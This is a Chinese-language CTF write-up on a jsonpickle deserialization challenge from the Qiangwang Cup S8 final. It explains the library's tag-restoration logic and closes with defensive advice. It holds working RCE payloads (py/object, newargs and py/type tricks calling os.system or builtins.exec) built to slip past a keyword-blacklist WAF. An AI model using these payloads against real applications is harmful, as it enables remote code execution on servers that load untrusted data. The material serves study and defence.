JsonPickle调试分析原理及WAF绕过
字数 1047 2025-08-22 12:22:15
JsonPickle调试分析原理及WAF绕过技术详解
1. 背景介绍
本文基于强网杯S8决赛中的JsonPickle漏洞进行深入分析,探讨其反序列化原理及WAF绕过技术。JsonPickle是一个Python库,用于将复杂Python对象序列化为JSON格式,并能够从JSON反序列化回Python对象。
2. 漏洞环境分析
2.1 示例代码结构
from flask import Flask, request, render_template, redirect
from dataclasses import dataclass
from time import time
import jsonpickle
import base64
import json
import os
@dataclass
class User:
username: str
password: str
@dataclass
class Token:
username: str
timestamp: int
app = Flask(__name__)
users = [User('admin', os.urandom(32).hex()), User('guest', 'guest')]
BLACKLIST = ['repr', 'state', 'json', 'reduce', 'tuple', 'nt', '\\\\', 'builtins', 'os', 'popen', 'exec', 'eval', 'posix', 'spawn', 'compile', 'code']
def waf(jtoken):
otoken = json.loads(jtoken)
token = json.dumps(otoken, ensure_ascii=False)
for keyword in BLACKLIST:
if keyword in token:
return False
return True
2.2 关键功能点
- 用户登录后生成Token并序列化存储到cookie
- 访问/home和/s3Cr3T路由时验证Token
- WAF过滤黑名单关键词
3. JsonPickle反序列化原理分析
3.1 核心流程
JsonPickle反序列化的主要流程在_restore方法中:
def _restore(self, obj):
if not isinstance(obj, (str, list, dict, set, tuple)):
restore = _passthrough
else:
restore = self._restore_tags(obj)
return restore(obj)
3.2 标签处理机制
JsonPickle通过识别特定标签来恢复对象:
- reduce标签:对应Python的
__reduce__方法,常用于反序列化攻击 - object标签:用于恢复自定义类实例
- function标签:用于恢复函数
- type标签:用于加载类
- newargsex/newargs/initargs标签:用于传递参数
3.3 关键恢复函数
_restore_tags:根据标签类型调用对应的恢复函数_restore_object:处理对象恢复_restore_object_instance:实例化对象_restore_function:恢复函数
4. WAF绕过技术
4.1 绕过reduce标签
传统利用__reduce__的方法:
class Exp1(object):
def __reduce__(self):
return (__import__('os').system, ('whoami',))
但会被WAF拦截,需要寻找替代方案。
4.2 利用object标签
object标签可以绕过reduce限制:
class Exp2(object):
def __init__(self, name, value=0):
self.name = name
self.value = value
构造payload:
{
"py/object": "nt.system",
"py/newargsex": [["py/set": ["whoami"]], ""]
}
4.3 参数标签绕过
利用不同的参数传递标签:
- newargs标签:
{"py/object": "os.system", "py/newargs": ["whoami"]}
- initargs标签:
{"py/object": "os.system", "py/initargs": ["whoami"]}
4.4 利用type标签
type标签可以直接加载类:
{
"py/reduce": [
{"py/type": "nt.system"},
{"py/tuple": ["whoami"]}
]
}
4.5 高级RCE技术
利用内置类的__new__方法触发RCE:
bytes.__new__(bytes, map(eval, ['__import__("os").system("ls")']))
构造payload:
{
"py/object": "builtins.bytes",
"py/newargs": {
"py/object": "builtins.map",
"py/newargs": [
{"py/function": "builtins.exec"},
["print(123)"]
]
}
}
5. 防御建议
- 避免直接反序列化不可信数据
- 使用更严格的白名单机制替代黑名单
- 限制反序列化的类和函数范围
- 使用
safe=True参数(但仍有绕过可能) - 对反序列化过程进行沙箱隔离
6. 总结
JsonPickle的反序列化机制提供了多种可能导致RCE的途径,通过深入分析其标签处理机制,可以构造多种绕过WAF的payload。防御此类漏洞需要从架构设计层面进行考虑,而不仅仅是依赖简单的关键词过滤。